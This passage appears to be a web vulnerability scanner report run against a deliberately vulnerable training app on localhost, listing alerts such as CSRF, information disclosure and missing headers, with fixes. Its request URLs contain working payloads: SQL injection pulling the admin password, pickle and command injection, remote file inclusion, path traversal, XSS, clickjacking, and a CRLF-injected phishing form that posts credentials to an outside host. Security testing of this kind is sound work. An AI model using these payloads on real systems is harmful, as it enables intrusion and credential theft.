Evidence	<form action="http://dsvw.c1.biz/i/log.php" onSubmit="alert('visit \'http://dsvw.c1.biz/i/log.txt\' to see your phished credentials')">
Instances	1
Solution	Phase: Architecture and Design Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, use anti-CSRF packages such as the OWASP CSRFGuard. Phase: Implementation Ensure that your application is free of cross-site scripting issues, because most CSRF defenses can be bypassed using attacker-controlled script. Phase: Architecture and Design Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). Note that this can be bypassed using XSS. Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation. Note that this can be bypassed using XSS. Use the ESAPI Session Management control. This control includes a component for CSRF. Do not use the GET method for any request that triggers a state change. Phase: Implementation Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.
Reference	http://projects.webappsec.org/Cross-Site-Request-Forgery http://cwe.mitre.org/data/definitions/352.html
CWE Id	352
WASC Id	9
Plugin Id	10202

Low	Application Error Disclosure
Description	This page contains an error/warning message that may disclose sensitive information like the location of the file that produced the unhandled exception. This information can be used to launch further attacks against the web application. The alert could be a false positive if the error message is found inside a documentation page.
URL	http://127.0.0.1:7000/?object=%80%04%95t%00%00%00%00%00%00%00%7D%94%28%8C%05admin%94%8C%05admin%94%8C%05admin%94%86%94%8C%06dricci%94%8C%04dian%94%8C%05ricci%94%86%94%8C%06amason%94%8C%07anthony%94%8C%05mason%94%86%94%8C%07svargas%94%8C%06sandra%94%8C%06vargas%94%86%94u.
Method	GET
Attack	
Evidence	HTTP/1.0 500 Internal Server Error
URL	http://127.0.0.1:7000/?path=foobar
Method	GET
Attack	
Evidence	HTTP/1.0 500 Internal Server Error
Instances	2
Solution	Review the source code of this page. Implement custom error pages. Consider implementing a mechanism to provide a unique error reference/identifier to the client (browser) while logging the details on the server side and not exposing them to the user.
Reference	
CWE Id	200
WASC Id	13
Plugin Id	90022

Low	Private IP Disclosure
Description	A private IP (such as 10.x.x.x, 172.x.x.x, 192.168.x.x) or an Amazon EC2 private hostname (for example, ip-10-0-56-78) has been found in the HTTP response body. This information might be helpful for further attacks targeting internal systems.
URL	http://127.0.0.1:7000/?domain=www.google.com
Method	GET
Attack	
Evidence	10.0.5.1
URL	http://127.0.0.1:7000/?domain=www.google.com%26%20ipconfig
Method	GET
Attack	
Evidence	10.0.5.1
URL	http://127.0.0.1:7000/?include=http%3A%2F%2Fpastebin.com%2Fraw.php%3Fi%3D6VyyNNhc&cmd=ipconfig
Method	GET
Attack	
Evidence	172.18.176.1
Instances	3
Solution	Remove the private IP address from the HTTP response body. For comments, use JSP/ASP /PHP comment instead of HTML/JavaScript comment which can be seen by client browsers.
Reference	https://tools.ietf.org/html/rfc1918

CWE Id	200
WASC Id	13
Plugin Id	2

Low	**Timestamp Disclosure - Unix**
Description	A timestamp was disclosed by the application/web server - Unix
URL	http://127.0.0.1:7000
Method	GET
Attack	
Evidence	300000000
URL	http://127.0.0.1:7000/
Method	GET
Attack	
Evidence	300000000
URL	http://127.0.0.1:7000/?charset=utf8
Method	GET
Attack	
Evidence	300000000
URL	http://127.0.0.1:7000/?foobar
Method	GET
Attack	
Evidence	300000000
URL	http://127.0.0.1:7000/?include=
Method	GET
Attack	
Evidence	300000000
URL	http://127.0.0.1:7000/?include=http%3A%2F%2Fpastebin.com%2Fraw.php%3Fi%3D6VyyNNhc&cmd=ipconfig
Method	GET
Attack	
Evidence	300000000
URL	http://127.0.0.1:7000/?path=
Method	GET
Attack	
Evidence	300000000
URL	http://127.0.0.1:7000/?path=dsvw.py
Method	GET
Attack	
Evidence	300000000
URL	http://127.0.0.1:7000/?redir=
Method	GET
Attack	

Evidence	300000000
URL	http://127.0.0.1:7000/?v=%3Cimg%20src%3D%22%2F%3Fcomment%3D%253Cdiv%2520style%253D%2522color%253Ared%253B%2520font-weight%253A%2520bold%2522%253EI%2520quit%2520the%2520job%253C%252Fdiv%253E%22%3E
Method	GET
Attack	
Evidence	300000000
URL	http://127.0.0.1:7000/?v=0.2
Method	GET
Attack	
Evidence	300000000
URL	http://127.0.0.1:7000/?v=0.2%3Cdiv%20style%3D%22opacity%3A0%3Bfilter%3Aalpha(opacity%3D20)%3Bbackground-color%3A%23000%3Bwidth%3A100%25%3Bheight%3A100%25%3Bz-index%3A10%3Btop%3A0%3Bleft%3A0%3Bposition%3Afixed%3B%22%20onclick%3D%22document.location%3D%27http%3A%2F%2Fdsvw.c1.biz%2F%27%22%3E%3C%2Fdiv%3E%3Cscript%3Ealert(%22click%20anywhere%20on%20page%22)%3B%3C%2Fscript%3E
Method	GET
Attack	
Evidence	300000000
URL	http://127.0.0.1:7000/?v=0.2%3Ciframe%20src%3D%22http%3A%2F%2Fdsvw.c1.biz%2F%22%20style%3D%22background-color%3Awhite%3Bwidth%3A100%25%3Bheight%3A100%25%3Bz-index%3A10%3Btop%3A0%3Bleft%3A0%3Bposition%3Afixed%3B%22%20frameborder%3D%220%22%3E%3C%2Fiframe%3E
Method	GET
Attack	
Evidence	300000000
URL	http://127.0.0.1:7000/?v=0.2%3Ciframe%20src%3D%22http%3A%2F%2Fdsvw.c1.biz%2Fi%2Flogin.html%22%20style%3D%22background-color%3Awhite%3Bz-index%3A10%3Btop%3A10%25%3Bleft%3A10%25%3Bposition%3Afixed%3Bborder-collapse%3Acollapse%3Bborder%3A1px%20solid%20%23a8a8a8%22%3E%3C%2Fiframe%3E
Method	GET
Attack	
Evidence	300000000
URL	http://127.0.0.1:7000/?v=0.2%3Cscript%3Ealert(%22arbitrary%20javascript%22)%3C%2Fscript%3E
Method	GET
Attack	
Evidence	300000000
Instances	15
Solution	Manually confirm that the timestamp data is not sensitive, and that the data cannot be aggregated to disclose exploitable patterns.
Reference	http://projects.webappsec.org/w/page/13246936/Information%20Leakage
CWE Id	200
WASC Id	13
Plugin Id	10096

Low	**X-Content-Type-Options Header Missing**

Description	The Anti-MIME-Sniffing header X-Content-Type-Options was not set to 'nosniff'. This allows older versions of Internet Explorer and Chrome to perform MIME-sniffing on the response body, potentially causing the response body to be interpreted and displayed as a content type other than the declared content type. Current (early 2014) and legacy versions of Firefox will use the declared content type (if one is set), rather than performing MIME-sniffing.
URL	http://127.0.0.1:7000
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?charset=utf8
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?charset=utf8%0D%0AX-XSS-Protection:0%0D%0AContent-Length:388%0D%0A%0D%0A%3C!DOCTYPE%20html%3E%3Chtml%3E%3Chead%3E%3Ctitle%3ELogin%3C%2Ftitle%3E%3C%2Fhead%3E%3Cbody%20style%3D%27font%3A%2012px%20monospace%27%3E%3Cform%20action%3D%22http%3A%2F%2Fdsvw.c1.biz%2Fi%2Flog.php%22%20onSubmit%3D%22alert(%27visit%20%5C%27http%3A%2F%2Fdsvw.c1.biz%2Fi%2Flog.txt%5C%27%20to%20see%20your%20phished%20credentials%27)%22%3EUsername%3A%3Cbr%3E%3Cinput%20type%3D%22text%22%20name%3D%22username%22%3E%3Cbr%3EPassword%3A%3Cbr%3E%3Cinput%20type%3D%22password%22%20name%3D%22password%22%3E%3Cinput%20type%3D%22submit%22%20value%3D%22Login%22%3E%3C%2Fform%3E%3C%2Fbody%3E%3C%2Fhtml%3E
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?comment=
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?comment=%3Cdiv%20style%3D%22color%3Ared%3B%20font-weight%3A%20bold%22%3EI%20quit%20the%20job%3C%2Fdiv%3E
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?comment=%3Cscript%3Ealert(%22arbitrary%20javascript%22)%3C%2Fscript%3E
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?comment=true
Method	GET

Attack	
Evidence	
URL	http://127.0.0.1:7000/?domain=www.google.com
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?domain=www.google.com%26%20ipconfig
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?foobar
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?id=(SELECT%20(CASE%20WHEN%20(SUBSTR((SELECT%20password%20FROM%20users%20WHERE%20name%3D%27admin%27)%2C2%2C1)%3D%27e%27)%20THEN%20(LIKE(%27ABCDEFG%27%2CUPPER(HEX(RANDOMBLOB(300000000)))))%20ELSE%200%20END))
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?id=2
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?id=2%20AND%20SUBSTR((SELECT%20password%20FROM%20users%20WHERE%20name%3D%27admin%27)%2C1%2C1)%3D%277%27
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?id=2%20UNION%20ALL%20SELECT%20NULL%2C%20NULL%2C%20NULL%2C%20(SELECT%20id%7C%7C%27%2C%27%7C%7Cusername%7C%7C%27%2C%27%7C%7Cpassword%20FROM%20users%20WHERE%20username%3D%27admin%27)
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?include=
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?include=http%3A%2F%2Fpastebin.com%2Fraw.php%3Fi%3D6VyyNNhc&cmd=ipconfig
Method	GET

Attack	
Evidence	
URL	http://127.0.0.1:7000/?object=cos%0Asystem%0A(S%27ping%20-n%205%20127.0.0.1%27%0AtR.%0A
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?path=
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?path=%5C%5C127.0.0.1%5CC%24%5CWindows%5Cwin.ini
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?path=..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?path=dsvw.py
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?redir=
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?redir=http%3A%2F%2Fdsvw.c1.biz
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?size=32
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?v=%3Cimg%20src%3D%22%2F%3Fcomment%3D%253Cdiv%2520style%253D%2522color%253Ared%253B%2520font-weight%253A%2520bold%2522%253EI%2520quit%2520the%2520job%253C%252Fdiv%253E%22%3E
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?v=0.2

Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?v=0.2%3Cdiv%20style%3D%22opacity%3A0%3Bfilter%3Aalpha(opacity%3D20)%3Bbackground-color%3A%23000%3Bwidth%3A100%25%3Bheight%3A100%25%3Bz-index%3A10%3Btop%3A0%3Bleft%3A0%3Bposition%3Afixed%3B%22%20onclick%3D%22document.location%3D%27http%3A%2F%2Fdsvw.c1.biz%2F%27%22%3E%3C%2Fdiv%3E%3Cscript%3Ealert(%22click%20anywhere%20on%20page%22)%3B%3C%2Fscript%3E
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?v=0.2%3Ciframe%20src%3D%22http%3A%2F%2Fdsvw.c1.biz%2F%22%20style%3D%22background-color%3Awhite%3Bwidth%3A100%25%3Bheight%3A100%25%3Bz-index%3A10%3Btop%3A0%3Bleft%3A0%3Bposition%3Afixed%3B%22%20frameborder%3D%220%22%3E%3C%2Fiframe%3E
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?v=0.2%3Ciframe%20src%3D%22http%3A%2F%2Fdsvw.c1.biz%2Fi%2Flogin.html%22%20style%3D%22background-color%3Awhite%3Bz-index%3A10%3Btop%3A10%25%3Bleft%3A10%25%3Bposition%3Afixed%3Bborder-collapse%3Acollapse%3Bborder%3A1px%20solid%20%23a8a8a8%22%3E%3C%2Fiframe%3E
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/?v=0.2%3Cscript%3Ealert(%22arbitrary%20javascript%22)%3C%2Fscript%3E
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/login?username=&password=
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/login?username=admin&password=%27%20OR%20%271%27%20LIKE%20%271
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/login?username=admin&password=%27%2F*&password=*%2FOR%2F*&password=*%2F%271%27%2F*&password=*%2FLIKE%2F*&password=*%2F%271
Method	GET
Attack	
Evidence	
URL	http://127.0.0.1:7000/users.json?callback=alert(%22arbitrary%20javascript%22)%3Bprocess
Method	GET

Attack	
Evidence	
URL	http://127.0.0.1:7000/users.json?callback=process
Method	GET
Attack	
Evidence	
Instances	36
Solution	Ensure that the application/web server sets the Content-Type header appropriately, and that it sets the X-Content-Type-Options header to 'nosniff' for all web pages. If possible, ensure that the end user uses a standards-compliant and modern web browser that does not perform MIME-sniffing at all, or that can be directed by the web application /web server to not perform MIME-sniffing.
Reference	http://msdn.microsoft.com/en-us/library/ie/gg622941%28v=vs.85%29.aspx https://owasp.org/www-community/Security_Headers
CWE Id	693
WASC Id	15
Plugin Id	10021

Informational	**Information Disclosure - Sensitive Information in URL**
Description	The request appeared to contain sensitive information leaked in the URL. This can violate PCI and most organizational compliance policies. You can configure the list of strings for this check to add or remove values specific to your environment.
URL	http://127.0.0.1:7000/login?username=&password=
Method	GET
Attack	
Evidence	password
URL	http://127.0.0.1:7000/login?username=&password=
Method	GET
Attack	
Evidence	username
URL	http://127.0.0.1:7000/login?username=admin&password=%27%20OR%20%271%27%20LIKE%20%271
Method	GET
Attack	
Evidence	password
URL	http://127.0.0.1:7000/login?username=admin&password=%27%20OR%20%271%27%20LIKE%20%271
Method	GET
Attack	
Evidence	username
URL	http://127.0.0.1:7000/login?username=admin&password=%27%2F*&password=*%2FOR%2F*&password=*%2F%271%27%2F*&password=*%2FLIKE%2F*&password=*%2F%271
Method	GET
Attack	
Evidence	password
	http://127.0.0.1:7000/login?username=admin&password=%27%2F*&password=*%2FOR%

URL	2F*&password=*%2F%271%27%2F*&password=*%2FLIKE%2F*&password=*%2F%271
Method	GET
Attack	
Evidence	username
Instances	6
Solution	Do not pass sensitive information in URIs.
Reference	
CWE Id	200
WASC Id	13
Plugin Id	10024

Informational	**Information Disclosure - Suspicious Comments**
Description	The response appears to contain suspicious comments which may help an attacker. Note: Matches made within script blocks or files are against the entire content not only comments.
URL	http://127.0.0.1:7000
Method	GET
Attack	
Evidence	from
URL	http://127.0.0.1:7000/
Method	GET
Attack	
Evidence	from
URL	http://127.0.0.1:7000/?charset=utf8
Method	GET
Attack	
Evidence	from
URL	http://127.0.0.1:7000/?comment=
Method	GET
Attack	
Evidence	from
URL	http://127.0.0.1:7000/?comment=%3Cdiv%20style%3D%22color%3Ared%3B%20font-weight%3A%20bold%22%3EI%20quit%20the%20job%3C%2Fdiv%3E
Method	GET
Attack	
Evidence	from
URL	http://127.0.0.1:7000/?comment=%3Cscript%3Ealert(%22arbitrary%20javascript%22)%3C%2Fscript%3E
Method	GET
Attack	
Evidence	from
URL	http://127.0.0.1:7000/?comment=true
Method	GET
Attack	

Evidence	from
URL	http://127.0.0.1:7000/?foobar
Method	GET
Attack	
Evidence	from
URL	http://127.0.0.1:7000/?id=(SELECT%20(CASE%20WHEN%20(SUBSTR((SELECT%20password%20FROM%20users%20WHERE%20name%3D%27admin%27)%2C2%2C1)%3D%27e%27)%20THEN%20(LIKE(%27ABCDEFG%27%2CUPPER(HEX(RANDOMBLOB(300000000)))))%20ELSE%200%20END))
Method	GET
Attack	
Evidence	from
URL	http://127.0.0.1:7000/?id=2
Method	GET
Attack	
Evidence	from
URL	http://127.0.0.1:7000/?id=2%20AND%20SUBSTR((SELECT%20password%20FROM%20users%20WHERE%20name%3D%27admin%27)%2C1%2C1)%3D%277%27
Method	GET
Attack	
Evidence	from
URL	http://127.0.0.1:7000/?id=2%20UNION%20ALL%20SELECT%20NULL%2C%20NULL%2C%20NULL%2C%20(SELECT%20id%7C%7C%27%2C%27%7C%7Cusername%7C%7C%27%2C%27%7C%7Cpassword%20FROM%20users%20WHERE%20username%3D%27admin%27)
Method	GET
Attack	
Evidence	from
URL	http://127.0.0.1:7000/?include=
Method	GET
Attack	
Evidence	from
URL	http://127.0.0.1:7000/?include=http%3A%2F%2Fpastebin.com%2Fraw.php%3Fi%3D6VyyNNhc&cmd=ipconfig
Method	GET
Attack	
Evidence	from
URL	http://127.0.0.1:7000/?path=
Method	GET
Attack	
Evidence	from
URL	http://127.0.0.1:7000/?path=dsvw.py
Method	GET
Attack	

Evidence	from
URL	http://127.0.0.1:7000/?redir=
Method	GET
Attack	
Evidence	from
URL	http://127.0.0.1:7000/?redir=http%3A%2F%2Fdsvw.c1.biz
Method	GET
Attack	
Evidence	from
URL	http://127.0.0.1:7000/?size=32
Method	GET
Attack	
Evidence	from
URL	http://127.0.0.1:7000/?v=%3Cimg%20src%3D%22%2F%3Fcomment%3D%253Cdiv%2520style%253D%2522color%253Ared%253B%2520font-weight%253A%2520bold%2522%253EI%2520quit%2520the%2520job%253C%252Fdiv%253E%22%3E
Method	GET
Attack	
Evidence	from
URL	http://127.0.0.1:7000/?v=0.2
Method	GET
Attack	
Evidence	from
URL	http://127.0.0.1:7000/?v=0.2%3Cdiv%20style%3D%22opacity%3A0%3Bfilter%3Aalpha(opacity%3D20)%3Bbackground-color%3A%23000%3Bwidth%3A100%25%3Bheight%3A100%25%3Bz-index%3A10%3Btop%3A0%3Bleft%3A0%3Bposition%3Afixed%3B%22%20onclick%3D%22document.location%3D%27http%3A%2F%2Fdsvw.c1.biz%2F%27%22%3E%3C%2Fdiv%3E%3Cscript%3Ealert(%22click%20anywhere%20on%20page%22)%3B%3C%2Fscript%3E
Method	GET
Attack	
Evidence	from
URL	http://127.0.0.1:7000/?v=0.2%3Ciframe%20src%3D%22http%3A%2F%2Fdsvw.c1.biz%2F%22%20style%3D%22background-color%3Awhite%3Bwidth%3A100%25%3Bheight%3A100%25%3Bz-index%3A10%3Btop%3A0%3Bleft%3A0%3Bposition%3Afixed%3B%22%20frameborder%3D%220%22%3E%3C%2Fiframe%3E
Method	GET
Attack	
Evidence	from
URL	http://127.0.0.1:7000/?v=0.2%3Ciframe%20src%3D%22http%3A%2F%2Fdsvw.c1.biz%2Fi%2Flogin.html%22%20style%3D%22background-color%3Awhite%3Bz-index%3A10%3Btop%3A10%25%3Bleft%3A10%25%3Bposition%3Afixed%3Bborder-collapse%3Acollapse%3Bborder%3A1px%20solid%20%23a8a8a8%22%3E%3C%2Fiframe%3E
Method	GET
Attack	
Evidence	from

URL	http://127.0.0.1:7000/?v=0.2%3Cscript%3Ealert(%22arbitrary%20javascript%22)%3C%2Fscript%3E
Method	GET
Attack	
Evidence	from
URL	http://127.0.0.1:7000/favicon.ico
Method	GET
Attack	
Evidence	from
URL	http://127.0.0.1:7000/login?username=&password=
Method	GET
Attack	
Evidence	from
URL	http://127.0.0.1:7000/login?username=admin&password=%27%20OR%20%271%27%20LIKE%20%271
Method	GET
Attack	
Evidence	from
URL	http://127.0.0.1:7000/login?username=admin&password=%27%2F*&password=*%2FOR%2F*&password=*%2F%271%27%2F*&password=*%2FLIKE%2F*&password=*%2F%271
Method	GET
Attack	
Evidence	from
Instances	29
Solution	Remove all comments that return information that may help an attacker and fix any underlying problems they refer to.
Reference	
CWE Id	200
WASC Id	13
Plugin Id	10027